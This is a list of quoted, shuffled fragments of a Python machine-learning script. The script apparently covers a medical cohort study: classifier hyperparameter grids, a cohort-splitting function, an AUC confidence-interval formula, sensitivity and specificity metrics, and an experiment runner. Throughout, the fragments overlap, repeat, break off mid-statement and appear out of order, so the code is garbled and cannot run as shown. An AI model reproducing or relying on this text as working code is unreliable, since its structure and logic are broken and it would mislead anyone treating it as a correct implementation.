"= 'l1', solver ='saga'), {\"C\":[0.001, 0.01,0.1, 1]}), # 'lasso2': (LogisticRegression(penalty",
"[500, 1000], 'max_depth': [8], \"min_samples_split\": [10], 'max_features': [0.25], \"class_weight\": [None]}),",
"#, \"balanced\" 'logreg': (LogisticRegression(), {}), #, \"balanced\" # \"C\":[0.1]}), #,",
"res_df['FN'] = (res_df.y_true == 1).cumsum() if return_all == False: res_df",
"1) if drop == 'all': if (k != 'race') &",
"if (k != 'race') & (k != 'agebl'): data =",
"(1-ci)/2.) q1 = AUC / (2 - AUC) q2 =",
"'y_pred': y_pred}, columns = ['y_pred', 'y_true']) res_df = res_df.sort_values(by =",
"to_exclude[k]: data = data[data[k] == 0] if drop == 'some':",
"= 1) data = data[data[test_ind_col] == 0] data = data.drop(test_ind_col,",
"* (q2 - AUC * AUC) denom = N1 *",
"denom = N1 * N2 se_AUC = np.sqrt(numerator / denom)",
"# 'max_features': [0.25]}), # 'gbm': (GradientBoostingClassifier(), # {'n_estimators': [300, 400,",
"= 'saga'), {\"C\":[0.001, 0.01,0.1, 1], \"l1_ratio\":[0.01, 0.1, 0.5, 0.9, 0.99]}),",
"# 'learning_rate': [0.03, 0.01, 0.001], # 'max_depth': [4,5,6,8], # 'subsample':",
"y_true, 'y_pred': y_pred}, columns = ['y_pred', 'y_true']) res_df = res_df.sort_values(by",
"{'n_estimators': [100, 200, 400, 800], 'learning_rate': [0.03, 0.01, 0.001], 'max_depth':",
"sklearn.ensemble import RandomForestClassifier, GradientBoostingClassifier from sklearn.dummy import DummyClassifier from sklearn.tree",
"= AUC / (2 - AUC) q2 = (2 *",
"= (res_df.y_true == 1).sum() - res_df['FN'] res_df['FP'] = (res_df.y_true ==",
"= (res_df.y_true == 0).cumsum() res_df['FN'] = (res_df.y_true == 1).cumsum() if",
"/ (res_df.shape[0]) res_df['f1_score'] = 2 * res_df.PPV * res_df.sens /",
"'subsample': [0.85, 1], # 'max_features': [0.25, 0.5]}), 'gbm': (GradientBoostingClassifier(), {}),",
"= 'l1'), # {\"C\":[0.001, 0.01,0.1, 1]}), 'lasso2': (LogisticRegression(penalty = 'l1',solver",
"4000], # 'max_depth': [2, 3, 4, 5, 6, 7, #",
"'max_features': ['auto', 'sqrt', 'log2']}), 'gbm_reg': (GradientBoostingRegressor(), {'n_estimators': [501], 'criterion': ['mae'],",
"'logreg': (LogisticRegression(), # {\"class_weight\": [None], # \"C\":[0.1, 0.3, 1,5, 10]}),",
"'dummy_reg': (DummyRegressor(), {\"strategy\": [\"mean\"]}), 'lasso_reg': (linear_model.Lasso(), {'alpha': np.arange(0.1, 1.0, 0.01),",
"{'n_estimators': [501], 'criterion': ['mae'], 'max_depth': [3, 5, 10], 'max_features': ['auto',",
"'sqrt', 'log2']}), # 'rf': (RandomForestClassifier(), # {'n_estimators': [50, 100, 501,",
"\"class_weight\": [None]}), 'rf': (RandomForestClassifier(), {'n_estimators': [800], 'max_depth': [8], \"min_samples_split\": [10],",
"[2, 10], # 'max_features': [0.25, 0.5], # \"class_weight\": [None]}), 'rf':",
"sklearn.dummy import DummyRegressor def split_cohort(datafile, to_exclude = None, test_ind_col =",
"0.75, 1.0], # \"class_weight\": [None]}), # 'rf': (RandomForestClassifier(), # {'n_estimators':",
"[600], # 'max_depth': [9], # \"min_samples_split\": [10], # 'max_features': [0.25]}),",
"test_ind_col is not None: test_data = data[data[test_ind_col] == 1] test_data",
"5, 10], # 'max_features': ['auto', 'sqrt', 'log2']}), # 'rf': (RandomForestClassifier(),",
"\"balanced\" # # \"C\":[0.1]}), #, \"balanced\" 'lasso': (Lasso(), {\"alpha\": [0.0001,",
"* AUC) denom = N1 * N2 se_AUC = np.sqrt(numerator",
"5, 6, 7, # 9], # 'subsample': [0.75, # 1],",
"1000, 2000, 4000], # 'max_depth': [5, 7, 9, 11, 13],",
"(DummyClassifier(), {\"strategy\": [\"most_frequent\"]}), # 'logreg': (LogisticRegression(), # {\"class_weight\": [None], #",
"st #from medical_ML import Experiment import matplotlib.pyplot as plt import",
"[0.85], 'max_features': [0.25, 0.5]}), # 'gbm': (GradientBoostingClassifier(), # {'n_estimators': [400,",
"* AUC * AUC) / (1 + AUC) numerator =",
"# 'gbm': (GradientBoostingClassifier(), # {'n_estimators': [300, 400, 500], # 'learning_rate':",
"return(models_and_parameters) def calc_metrics(y_true, y_pred, return_all = False): res_df = pd.DataFrame({'y_true'",
"# 'max_depth': [5], # \"min_samples_split\": [5], # 'max_features': ['auto'], #",
"[5], # 'subsample': [0.75], # 'max_features': [0.25]}), # 'gbm': (GradientBoostingClassifier(),",
"{'n_estimators': [501], 'criterion': ['mae'], # 'loss': ['ls', 'lad'], 'max_depth': [3,",
"# 'gbm': (GradientBoostingClassifier(), # {'n_estimators': [100, 200, 300, 500, 1000,",
"'gbm': (GradientBoostingClassifier(), # {'n_estimators': [200, 300], # 'learning_rate': [0.01], #",
"'max_features': [None, 'sqrt', 'log2', 0.5]}), } return(models_and_parameters) def load_models_and_parameters(): models_and_parameters",
"'max_iter': [10000]}), 'lasso2': (LogisticRegression(penalty = 'l1', solver ='saga'), {\"C\":[0.001, 0.01,0.1,",
"#, \"balanced\" 'logreg': (LogisticRegression(), {\"class_weight\": [None], \"C\":[0.01,0.1, 1]}), #, \"balanced\"",
"5, score_name = \"AUC\", to_exclude = None, test_ind_col = None,",
"(RandomForestClassifier(), # {'n_estimators': [501], # 'max_depth': [3, 5, 10], #",
"1]}), # 'xgb': (xgb.XGBClassifier(), # {'n_estimators': [500], # 'max_depth': [4],",
"zsc * se_AUC) def load_models_and_parameters_default(): models_and_parameters = { 'dummy_reg': (DummyRegressor(),",
"1], # 'max_features': [0.25, 0.5]}), # 'gbm': (GradientBoostingClassifier(), # {}),",
"scipy.stats as st #from medical_ML import Experiment import matplotlib.pyplot as",
"EXPERIMENT FOR ' + RESULT_DIR + '\\n\\n') expt = Experiment(alldata,",
"[5, 6], # 'subsample': [0.85], # 'max_features': [0.25]}), # 'gbm':",
"False): res_df = pd.DataFrame({'y_true' : y_true, 'y_pred': y_pred}, columns =",
"3, 4, 5, 6, 7, # 9], # 'subsample': [0.75,",
"data.drop(k, axis = 1) # self.data = self.data[self.data['year'] <= 2010]",
"[0, 10], # \"reg_lambda\": [0.1, 10]}), # 'gbm': (GradientBoostingClassifier(), #",
"[2, 3, 4, 5, 6, 7, # 9], # 'subsample':",
"'lasso_reg': (linear_model.Lasso(), {'alpha': np.arange(0.1, 1.0, 0.01), 'max_iter': [10000]}), 'rf_reg': (RandomForestRegressor(),",
"'gbm': (GradientBoostingClassifier(), # {'n_estimators': [400, 600], # 'learning_rate': [0.01], #",
"else: data = datafile test_data = None if to_exclude is",
"# {'n_estimators': [400, 600], # 'learning_rate': [0.01], # 'max_depth': [5,",
"# 1.0]}), # 'gbm': (GradientBoostingClassifier(), # {'n_estimators': [100, 200, 400,",
"pd.concat([pd.DataFrame({'y_true' : -1, 'y_pred': -1, \"TN\": 0, \"FN\":0}, index =",
"# plt.grid(True, 'major', color = 'w', linewidth = 0.7) plt.grid(True,",
"'max_depth': [5], # 'subsample': [0.75], # 'max_features': [0.25]}), # 'gbm':",
"res_df.TP / (res_df.TP + res_df.FN) res_df['spec'] = res_df.TN / (res_df.TN",
"\"class_weight\": [None, \"balanced\"]}), # 'rf': (RandomForestClassifier(), # {'n_estimators': [501], #",
"data = data.drop(test_ind_col, axis = 1) return(data, test_data) def calc_auc_conf_interval(AUC,",
"0.75, 1], # 'max_features': [None, 'sqrt', 'log2', 0.5]}), } return(models_and_parameters)",
"q2 = (2 * AUC * AUC) / (1 +",
"np.arange(0.1, 1.0, 0.01), 'max_iter': [10000]}), 'rf_reg': (RandomForestRegressor(), {'n_estimators': [501], 'criterion':",
"RESULT_DIR + '\\n\\n') expt = Experiment(alldata, label = label, to_exclude",
"ci = 0.95): # from https://ncss-wpengine.netdna-ssl.com/wp-content/themes/ncss/pdf/Procedures/PASS/Confidence_Intervals_for_the_Area_Under_an_ROC_Curve.pdf zsc = st.norm.ppf(1 -",
"{'alpha': np.arange(0.1, 1.0, 0.01), 'max_iter': [10000]}), 'rf_reg': (RandomForestRegressor(), {'n_estimators': [501],",
"== 'some': data = data.drop(k, axis = 1) if drop",
"# \"C\":[0.01,0.1, 1]}), #, \"balanced\" # \"C\":[0.1]}), #, \"balanced\" 'logreg':",
"AUC * AUC) + (N2 - 1) * (q2 -",
"#'poly', 'rbf' 'knn': (KNeighborsClassifier(), {'n_neighbors': [2, 3, 5, 10, 20,",
"\"min_samples_split\": [5], # 'max_features': ['auto'], # \"class_weight\": [None]}), # 'rf':",
"q1 = AUC / (2 - AUC) q2 = (2",
"7, 9, 11, 13], # \"min_samples_split\": [2], # 'max_features': ['sqrt',",
"# \"min_samples_split\": [2, 10], # 'max_features': [0.25, 0.5], # \"class_weight\":",
"0.5, 0.75, # 1.0]}), 'gbm': (GradientBoostingClassifier(), {'n_estimators': [100, 200, 400,",
"imputer = 'iterative', add_missing_flags = True): from medical_ML import Experiment",
"7, # 9], # 'subsample': [0.75, # 1], # 'max_features':",
"self.data.drop(['year'], axis = 1) if test_ind_col is not None: test_data",
"{'n_neighbors': [2, 3, 5, 10, 20, 50], 'weights': ['uniform', 'distance']}),",
"+ res_df.FN) res_df['spec'] = res_df.TN / (res_df.TN + res_df.FP) res_df['PPV']",
"'sqrt', 'log2', 0.5]}), } return(models_and_parameters) def load_models_and_parameters(): models_and_parameters = {",
"drop = 'some'): \"\"\" Load and clean the dataset \"\"\"",
"-1, 'y_pred': -1, \"TN\": 0, \"FN\":0}, index = [-1], columns",
"'some'): \"\"\" Load and clean the dataset \"\"\" if isinstance(datafile,",
"to_exclude, test_ind_col = test_ind_col, drop = 'all', result_dir = RESULT_DIR)",
"res_df['spec'] = res_df.TN / (res_df.TN + res_df.FP) res_df['PPV'] = res_df.TP",
"ax.set_axisbelow(True) # ax.patch.set_facecolor(\"0.85\") def train_val(RESULT_DIR, alldata, models, label = 'Label',",
"(GradientBoostingClassifier(), # {'n_estimators': [200, 300], # 'learning_rate': [0.01], # 'max_depth':",
"(LogisticRegression(), {\"class_weight\": [None], \"C\":[0.01,0.1, 1]}), #, \"balanced\" # \"C\":[0.1]}), #,",
"} return(models_and_parameters) def calc_metrics(y_true, y_pred, return_all = False): res_df =",
"# {'n_estimators': [25, 50, 75, 100, 200], # 'max_depth': [2,3,5],",
"data[data[k] >= to_exclude[k]] elif to_exclude[k]: data = data[data[k] == 0]",
"10, 15, 20], \"random_state\": [817263]}), 'svm': (SVC(), {'C': [ 1],",
"* (1 - AUC) + (N1 - 1) * (q1",
"1000], # 'max_depth': [4, 6, 8, 10], # \"min_samples_split\": [2,",
"10], # \"reg_lambda\": [0.1, 10]}), # 'gbm': (GradientBoostingClassifier(), # {'n_estimators':",
"(res_df.TN + res_df.FP) res_df['PPV'] = res_df.TP / (res_df.TP + res_df.FP)",
"# {'n_estimators': [100, 200, 400, 800], # 'learning_rate': [0.03, 0.01,",
"test_ind_col, drop = 'all', result_dir = RESULT_DIR) expt.predict_models_from_groups(0, models, cv=cv,",
"if drop == 'some': data = data.drop(k, axis = 1)",
"[0.0001, 0.001],#np.arange(0.01, 1.01, 0.05), 'max_iter': [10000]}), # 'lasso2': (LogisticRegression(penalty =",
"{'n_estimators': [ 501, 1000, 2000, 4000], # 'max_depth': [5, 7,",
"k in to_exclude.keys(): if k == 'race': data = data[data[k].isin(to_exclude[k])]",
"'all': if (k != 'race') & (k != 'agebl'): data",
"= 0) res_df['TP'] = (res_df.y_true == 1).sum() - res_df['FN'] res_df['FP']",
"# # 'xgb': (xgb.XGBClassifier(), # {'n_estimators': [100,500], # 'max_depth': [3,4,5],",
"test_ind_col = test_ind_col, drop = 'all', result_dir = RESULT_DIR) expt.predict_models_from_groups(0,",
"+ AUC) numerator = AUC * (1 - AUC) +",
"(LogisticRegression(penalty = 'elasticnet', solver = 'saga'), {\"C\":[0.001, 0.01,0.1, 1], \"l1_ratio\":[0.01,",
"import Experiment print('\\n\\n' + 'STARTING EXPERIMENT FOR ' + RESULT_DIR",
"= None, drop = 'some'): \"\"\" Load and clean the",
"[25, 50, 75, 100, 200], # 'max_depth': [2,3,5], # 'subsample':",
"st.norm.ppf(1 - (1-ci)/2.) q1 = AUC / (2 - AUC)",
"{\"alpha\": [0.0001, 0.001],#np.arange(0.01, 1.01, 0.05), 'max_iter': [10000]}), # 'lasso2': (LogisticRegression(penalty",
"600], # 'max_depth': [7,8,9], # \"min_samples_split\": [5,10], # 'max_features': [0.25,",
"8, 10], # \"min_samples_split\": [2, 10], # 'max_features': [0.25, 0.5],",
"# 'max_features': ['auto', 'sqrt', 'log2']}), # 'rf': (RandomForestClassifier(), # {'n_estimators':",
"10], 'max_features': ['auto', 'sqrt', 'log2']}), 'gbm_reg': (GradientBoostingRegressor(), {'n_estimators': [501], 'criterion':",
"res_df.TN / (res_df.TN + res_df.FP) res_df['PPV'] = res_df.TP / (res_df.TP",
"(N1 - 1) * (q1 - AUC * AUC) +",
"def calc_auc_conf_interval(AUC, N1, N2, ci = 0.95): # from https://ncss-wpengine.netdna-ssl.com/wp-content/themes/ncss/pdf/Procedures/PASS/Confidence_Intervals_for_the_Area_Under_an_ROC_Curve.pdf",
"0.25, 0.5, 0.75, # 1.0]}), 'gbm': (GradientBoostingClassifier(), {'n_estimators': [100, 200,",
"# 'gbm': (GradientBoostingClassifier(), # {'n_estimators': [400], # 'learning_rate': [0.01], #",
"\"reg_alpha\": [0, 1], # \"reg_lambda\": [0.1, 1]}), # 'xgb': (xgb.XGBClassifier(),",
"as np import pandas as pd import scipy.stats as st",
"load_models_and_parameters(): models_and_parameters = { 'dummy_reg': (DummyRegressor(), {\"strategy\": [\"mean\"]}), 'lasso_reg': (linear_model.Lasso(),",
"[9], # \"min_samples_split\": [10], # 'max_features': [0.25]}), # # 'xgb':",
"0, \"FN\":0}, index = [-1], columns = ['y_pred', 'y_true', 'TN',",
"= N1 * N2 se_AUC = np.sqrt(numerator / denom) return",
"0.003, 0.4], # 'max_depth': [5, 6, 7], # 'subsample': [0.85,",
"'max_features': [0.25]}), # 'gbm': (GradientBoostingClassifier(), # {'n_estimators': [300, 400, 500],",
"data = data[data[test_ind_col] == 0] data = data.drop(test_ind_col, axis =",
"'rf': (RandomForestClassifier(), # {}), # 'xgb': (xgb.XGBClassifier(), # {}), #",
"(res_df.PPV + res_df.sens) res_df['youdens_index'] = res_df.sens + res_df.spec - 1",
"not None: test_data = data[data[test_ind_col] == 1] test_data = test_data.drop(test_ind_col,",
"+ (N1 - 1) * (q1 - AUC * AUC)",
"# {'n_estimators': [400, 500, 600], # 'max_depth': [7,8,9], # \"min_samples_split\":",
"axis = 0) res_df['TP'] = (res_df.y_true == 1).sum() - res_df['FN']",
"* AUC) + (N2 - 1) * (q2 - AUC",
"[0.25]}), # 'gbm': (GradientBoostingClassifier(), # {'n_estimators': [400], # 'learning_rate': [0.01],",
"res_df.sens + res_df.spec - 1 # remove predictions which represent",
"== 1).cumsum() if return_all == False: res_df = pd.concat([pd.DataFrame({'y_true' :",
"* (q1 - AUC * AUC) + (N2 - 1)",
"- res_df['FN'] res_df['FP'] = (res_df.y_true == 0).sum() - res_df['TN'] res_df['sens']",
"/ (res_df.PPV + res_df.sens) res_df['youdens_index'] = res_df.sens + res_df.spec -",
"'learning_rate': [0.01], # 'max_depth': [5], # 'subsample': [0.75], # 'max_features':",
"'max_depth': [3, 5, 10], 'max_features': ['auto', 'sqrt', 'log2']}), 'dummy': (DummyClassifier(),",
"1,5, 10]}), #, \"balanced\" 'logreg': (LogisticRegression(), {\"class_weight\": [None], \"C\":[0.01,0.1, 1]}),",
"color = \"0.92\", linestyle = '-', linewidth = 0.7) ax",
"1]}), #, \"balanced\" # \"C\":[0.1]}), #, \"balanced\" # 'logreg': (LogisticRegression(),",
"'max_features': [None, 'sqrt', 'log2', 0.5]}), } return(models_and_parameters) def calc_metrics(y_true, y_pred,",
"= 1) if test_ind_col is not None: test_data = data[data[test_ind_col]",
"data[data[test_ind_col] == 0] data = data.drop(test_ind_col, axis = 1) return(data,",
"# ax.patch.set_facecolor(\"0.85\") def train_val(RESULT_DIR, alldata, models, label = 'Label', cv",
"= (2 * AUC * AUC) / (1 + AUC)",
"sklearn.neighbors import KNeighborsClassifier from sklearn.svm import SVC from sklearn import",
"# {'n_estimators': [ 501, 1000, 2000, 4000], # 'max_depth': [5,",
"[501], # 'max_depth': [3, 5, 10], # 'max_features': ['auto', 'sqrt',",
"'max_depth': [9], # \"min_samples_split\": [10], # 'max_features': [0.25]}), # #",
"1).sum() - res_df['FN'] res_df['FP'] = (res_df.y_true == 0).sum() - res_df['TN']",
"- AUC * AUC) denom = N1 * N2 se_AUC",
"'rf': (RandomForestClassifier(), # {}), 'xgb': (xgb.XGBClassifier(), {}), # 'rf': (RandomForestClassifier(),",
"'logreg': (LogisticRegression(), {}), #, \"balanced\" # \"C\":[0.1]}), #, \"balanced\" 'lasso':",
"# 'max_depth': [5, 6], # 'subsample': [0.85], # 'max_features': [0.25]}),",
"[4,5,6,8], 'subsample': [0.85], 'max_features': [0.25, 0.5]}), # 'gbm': (GradientBoostingClassifier(), #",
"4, 5, 6, 7, # 9], # 'subsample': [0.75, #",
"import RandomForestRegressor, GradientBoostingRegressor from sklearn.dummy import DummyRegressor def split_cohort(datafile, to_exclude",
"+ '\\n\\n') expt = Experiment(alldata, label = label, to_exclude =",
"drop = 'all', result_dir = RESULT_DIR) expt.predict_models_from_groups(0, models, cv=cv, score_name=score_name,",
"import RandomForestClassifier, GradientBoostingClassifier from sklearn.dummy import DummyClassifier from sklearn.tree import",
"# \"class_weight\": [None, \"balanced\"]}), # 'rf': (RandomForestClassifier(), # {'n_estimators': [501],",
"(res_df.y_true == 1).sum() - res_df['FN'] res_df['FP'] = (res_df.y_true == 0).sum()",
"'gbm': (GradientBoostingClassifier(), # {'n_estimators': [400], # 'learning_rate': [0.01], # 'max_depth':",
"import xgboost as xgb from sklearn.ensemble import RandomForestClassifier, GradientBoostingClassifier from",
"from sklearn.tree import DecisionTreeClassifier from sklearn.linear_model import LogisticRegression, Lasso from",
"AUC * AUC) denom = N1 * N2 se_AUC =",
"[400, 600], # 'learning_rate': [0.01], # 'max_depth': [5, 6], #",
"(RandomForestClassifier(), # {}), # 'xgb': (xgb.XGBClassifier(), # {}), # 'rf':",
"# 'max_depth': [3,4,5], # 'subsample': [0.35, 0.7], # 'max_features': [0.25]}),",
"#, \"balanced\" # 'logreg': (LogisticRegression(), # {}), #, \"balanced\" #",
"# 'rf': (RandomForestClassifier(), # {'n_estimators': [200, 500, 1000], # 'max_depth':",
"'all', result_dir = RESULT_DIR) expt.predict_models_from_groups(0, models, cv=cv, score_name=score_name, mode='classification', oversample_rate",
"'subsample': [0.85], # 'max_features': [0.25, 0.5]}), # 'gbm': (GradientBoostingClassifier(), #",
"20, 50], 'weights': ['uniform', 'distance']}), # 'rf': (RandomForestClassifier(), # {'n_estimators':",
"4], # None \"splitter\": [\"best\", \"random\"], \"min_samples_split\": [2, 5, 10],",
"0.99]}), 'dt': (DecisionTreeClassifier(), {\"criterion\": [\"entropy\"], # \"max_depth\": [2, 3, 4,",
"'xgb': (xgb.XGBClassifier(), {}), # 'rf': (RandomForestClassifier(), # {'n_estimators': [600], #",
"(GradientBoostingClassifier(), {}), # 'gbm': (GradientBoostingClassifier(), # {'n_estimators': [100, 200, 300,",
"'gbm': (GradientBoostingClassifier(), # {'n_estimators': [100, 200, 300, 500, 1000, 2000,",
"(GradientBoostingClassifier(), {'n_estimators': [100, 200, 400, 800], 'learning_rate': [0.03, 0.01, 0.001],",
"# 'max_features': [0.25]}), # 'gbm': (GradientBoostingClassifier(), # {'n_estimators': [25, 50,",
"models, label = 'Label', cv = 5, score_name = \"AUC\",",
"10], \"min_samples_leaf\": [3, 5, 10, 15, 20], \"random_state\": [817263]}), 'svm':",
"import Experiment import matplotlib.pyplot as plt import xgboost as xgb",
"1.05]) plt.ylim([-0.05, 1.05]) ax.set_axisbelow(True) # ax.patch.set_facecolor(\"0.85\") def train_val(RESULT_DIR, alldata, models,",
"sklearn.dummy import DummyClassifier from sklearn.tree import DecisionTreeClassifier from sklearn.linear_model import",
"= data.drop(k, axis = 1) # self.data = self.data[self.data['year'] <=",
"== 'all': if (k != 'race') & (k != 'agebl'):",
"# {'n_estimators': [100,500], # 'max_depth': [3,4,5], # 'learning_rate': [0.1, 0.3],",
"1.0]}), # 'gbm': (GradientBoostingClassifier(), # {'n_estimators': [100, 200, 400, 800],",
"'max_features': [0.25]}), # 'gbm': (GradientBoostingClassifier(), # {'n_estimators': [25, 50, 75,",
"20], # None \"max_depth\": [1, 2, 3, 4], # None",
"\"C\":[0.01,0.1, 1]}), #, \"balanced\" # \"C\":[0.1]}), #, \"balanced\" # 'logreg':",
"0.01, 0.001], 'max_depth': [4,5,6,8], 'subsample': [0.85], 'max_features': [0.25, 0.5]}), #",
"decision points (i.e., y_pred is equal) if return_all == False:",
"as st #from medical_ML import Experiment import matplotlib.pyplot as plt",
"10, 20, 50], 'weights': ['uniform', 'distance']}), # 'rf': (RandomForestClassifier(), #",
"' + RESULT_DIR + '\\n\\n') expt = Experiment(alldata, label =",
"res_df.PPV * res_df.sens / (res_df.PPV + res_df.sens) res_df['youdens_index'] = res_df.sens",
"'criterion': ['mae'], # 'loss': ['ls', 'lad'], 'max_depth': [3, 5, 10],",
">= to_exclude[k]] elif to_exclude[k]: data = data[data[k] == 0] if",
"data[data[test_ind_col] == 1] test_data = test_data.drop(test_ind_col, axis = 1) data",
"\"min_samples_split\": [2, 5, 10], \"min_samples_leaf\": [3, 5, 10, 15, 20],",
"{'n_estimators': [200, 500, 1000], # 'max_depth': [4, 6, 8, 10],",
"\"min_samples_split\": [5,10], # 'max_features': [0.25, 0.5, ]}), # 'rf': (RandomForestClassifier(),",
"set_up_plot(): # plt.grid(True, 'major', color = 'w', linewidth = 0.7)",
"to_exclude = to_exclude, test_ind_col = test_ind_col, drop = 'all', result_dir",
"test_data = test_data.drop(test_ind_col, axis = 1) data = data[data[test_ind_col] ==",
"AUC) + (N1 - 1) * (q1 - AUC *",
"='saga'), {}), 'elnet': (LogisticRegression(penalty = 'elasticnet', solver = 'saga'), {\"C\":[0.001,",
"\"max_depth\": [2, 3, 4, 5, 10, 20], # None \"max_depth\":",
"[\"best\", \"random\"], \"min_samples_split\": [2, 5, 10], \"min_samples_leaf\": [3, 5, 10,",
"# {'n_estimators': [200, 500, 1000], # 'max_depth': [4, 6, 8,",
"0).cumsum() res_df['FN'] = (res_df.y_true == 1).cumsum() if return_all == False:",
"(RandomForestClassifier(), # {'n_estimators': [50, 100, 501, 1000], # 'max_depth': [3,5,7],",
"zsc = st.norm.ppf(1 - (1-ci)/2.) q1 = AUC / (2",
"'max_depth': [4,5,6,8], # 'subsample': [0.85], # 'max_features': [0.25, 0.5]}), #",
"for k in to_exclude.keys(): if k == 'race': data =",
"[None, 'sqrt', 'log2', 0.5]}), } return(models_and_parameters) def calc_metrics(y_true, y_pred, return_all",
"res_df = pd.DataFrame({'y_true' : y_true, 'y_pred': y_pred}, columns = ['y_pred',",
"(RandomForestClassifier(), # {}), 'xgb': (xgb.XGBClassifier(), {}), # 'rf': (RandomForestClassifier(), #",
"res_df.sort_values(by = 'y_pred') res_df['TN'] = (res_df.y_true == 0).cumsum() res_df['FN'] =",
"#from medical_ML import Experiment import matplotlib.pyplot as plt import xgboost",
"[None], # \"C\":[0.1, 0.3, 1,5, 10]}), #, \"balanced\" 'logreg': (LogisticRegression(),",
"'max_features': [0.25, 0.5, ]}), # 'rf': (RandomForestClassifier(), # {}), #",
"calc_metrics(y_true, y_pred, return_all = False): res_df = pd.DataFrame({'y_true' : y_true,",
"== 0] data = data.drop(test_ind_col, axis = 1) return(data, test_data)",
"[0.75], # 'max_features': [0.25]}), # 'gbm': (GradientBoostingClassifier(), # {'n_estimators': [300,",
"columns = ['y_pred', 'y_true']) res_df = res_df.sort_values(by = 'y_pred') res_df['TN']",
"15, 20], \"random_state\": [817263]}), 'svm': (SVC(), {'C': [ 1], 'kernel':",
"'rbf' 'knn': (KNeighborsClassifier(), {'n_neighbors': [2, 3, 5, 10, 20, 50],",
"# 'max_features': [None, 'sqrt', 'log2', 0.5]}), } return(models_and_parameters) def load_models_and_parameters():",
"res_df['PPV'] = res_df.TP / (res_df.TP + res_df.FP) res_df['accuracy'] = (res_df.TP",
"oversample_rate = oversample_rate, imputer = imputer, add_missing_flags = add_missing_flags) expt.save_and_plot_results(models,",
"'gbm': (GradientBoostingClassifier(), # {'n_estimators': [300, 400, 500], # 'learning_rate': [0.01,",
"0.75, # 1.0]}), 'gbm': (GradientBoostingClassifier(), {'n_estimators': [100, 200, 400, 800],",
"1).cumsum() if return_all == False: res_df = pd.concat([pd.DataFrame({'y_true' : -1,",
"'max_depth': [3,4,5], # 'learning_rate': [0.1, 0.3], # \"reg_alpha\": [0, 1],",
"res_df['accuracy'] = (res_df.TP + res_df.TN) / (res_df.shape[0]) res_df['f1_score'] = 2",
"# 'max_features': ['auto', 0.5], # \"class_weight\": [None, \"balanced\"]}), # 'rf':",
"200, 400, 800], 'learning_rate': [0.03, 0.01, 0.001], 'max_depth': [4,5,6,8], 'subsample':",
"(SVC(), {'C': [ 1], 'kernel': ['linear']}), #'poly', 'rbf' 'knn': (KNeighborsClassifier(),",
"None, test_ind_col = None, drop = 'some'): \"\"\" Load and",
"'some': data = data.drop(k, axis = 1) if drop ==",
"pandas as pd import scipy.stats as st #from medical_ML import",
"{'n_estimators': [501], # 'max_depth': [5], # \"min_samples_split\": [5], # 'max_features':",
"'max_depth': [7,8,9], # \"min_samples_split\": [5,10], # 'max_features': [0.25, 0.5, ]}),",
"oversample_rate, imputer = imputer, add_missing_flags = add_missing_flags) expt.save_and_plot_results(models, cv =",
"(res_df.y_true == 0).cumsum() res_df['FN'] = (res_df.y_true == 1).cumsum() if return_all",
"300], # 'learning_rate': [0.01], # 'max_depth': [3,4,5], # 'subsample': [0.35,",
"800], # 'learning_rate': [0.03, 0.01, 0.001], # 'max_depth': [4,5,6,8], #",
"[3,4,5], # 'subsample': [0.35, 0.7], # 'max_features': [0.25]}), # 'gbm':",
"# 'max_depth': [4, 6, 8, 10], # \"min_samples_split\": [2, 10],",
"= \"AUC\", to_exclude = None, test_ind_col = None, oversample_rate =",
"AUC) / (1 + AUC) numerator = AUC * (1",
"# {\"C\":[0.001, 0.01,0.1, 1]}), 'lasso2': (LogisticRegression(penalty = 'l1',solver ='saga'), {}),",
"[0.1], # \"reg_alpha\": [0, 10], # \"reg_lambda\": [0.1, 10]}), #",
"return(res_df) def set_up_plot(): # plt.grid(True, 'major', color = 'w', linewidth",
"'max_depth': [5], # \"min_samples_split\": [5], # 'max_features': ['auto'], # \"class_weight\":",
"(1 - AUC) + (N1 - 1) * (q1 -",
"# 4000], # 'max_depth': [2, 3, 4, 5, 6, 7,",
"{'n_estimators': [600], # 'max_depth': [9], # \"min_samples_split\": [10], # 'max_features':",
"sklearn.tree import DecisionTreeClassifier from sklearn.linear_model import LogisticRegression, Lasso from sklearn.neighbors",
"'max_depth': [3,5,7], # \"min_samples_split\": [2, 5], # 'max_features': ['auto', 0.5],",
"0] if drop == 'some': data = data.drop(k, axis =",
"# 'rf': (RandomForestClassifier(), # {'n_estimators': [600], # 'max_depth': [9], #",
"10]}), # 'gbm': (GradientBoostingClassifier(), # {'n_estimators': [200, 300], # 'learning_rate':",
"expt = Experiment(alldata, label = label, to_exclude = to_exclude, test_ind_col",
"(k != 'agebl'): data = data.drop(k, axis = 1) #",
"[5, 7, 9, 11, 13], # \"min_samples_split\": [2], # 'max_features':",
"None if to_exclude is not None: for k in to_exclude.keys():",
"5, 10], \"min_samples_leaf\": [3, 5, 10, 15, 20], \"random_state\": [817263]}),",
"'max_depth': [3, 5, 10], # 'max_features': ['auto', 'sqrt', 'log2']}), #",
"\"balanced\" 'lasso': (Lasso(), {\"alpha\": [0.0001, 0.001],#np.arange(0.01, 1.01, 0.05), 'max_iter': [10000]}),",
"'max_features': [0.25]}), # 'gbm': (GradientBoostingClassifier(), # {'n_estimators': [400], # 'learning_rate':",
"{'n_estimators': [400], # 'learning_rate': [0.01], # 'max_depth': [5], # 'subsample':",
"res_df['TP'] = (res_df.y_true == 1).sum() - res_df['FN'] res_df['FP'] = (res_df.y_true",
"res_df['TN'] res_df['sens'] = res_df.TP / (res_df.TP + res_df.FN) res_df['spec'] =",
"if test_ind_col is not None: test_data = data[data[test_ind_col] == 1]",
"'max_depth': [4, 6, 8, 10], # \"min_samples_split\": [2, 10], #",
"{\"class_weight\": [None], # \"C\":[0.1, 0.3, 1,5, 10]}), #, \"balanced\" #",
"(res_df.shape[0]) res_df['f1_score'] = 2 * res_df.PPV * res_df.sens / (res_df.PPV",
"alldata, models, label = 'Label', cv = 5, score_name =",
"res_df.sens) res_df['youdens_index'] = res_df.sens + res_df.spec - 1 # remove",
"import pandas as pd import scipy.stats as st #from medical_ML",
"'max_depth': [5, 6, 7], # 'subsample': [0.85, 1], # 'max_features':",
"= data.drop(test_ind_col, axis = 1) return(data, test_data) def calc_auc_conf_interval(AUC, N1,",
"return(data, test_data) def calc_auc_conf_interval(AUC, N1, N2, ci = 0.95): #",
"res_df = res_df.sort_values(by = 'y_pred') res_df['TN'] = (res_df.y_true == 0).cumsum()",
"\"min_samples_split\": [2, 10], # 'max_features': [0.25, 0.5], # \"class_weight\": [None]}),",
"# 'max_depth': [2,3,5], # 'subsample': [0.25, 0.5, 0.75, 1], #",
"'learning_rate': [0.01, 0.003, 0.4], # 'max_depth': [5, 6, 7], #",
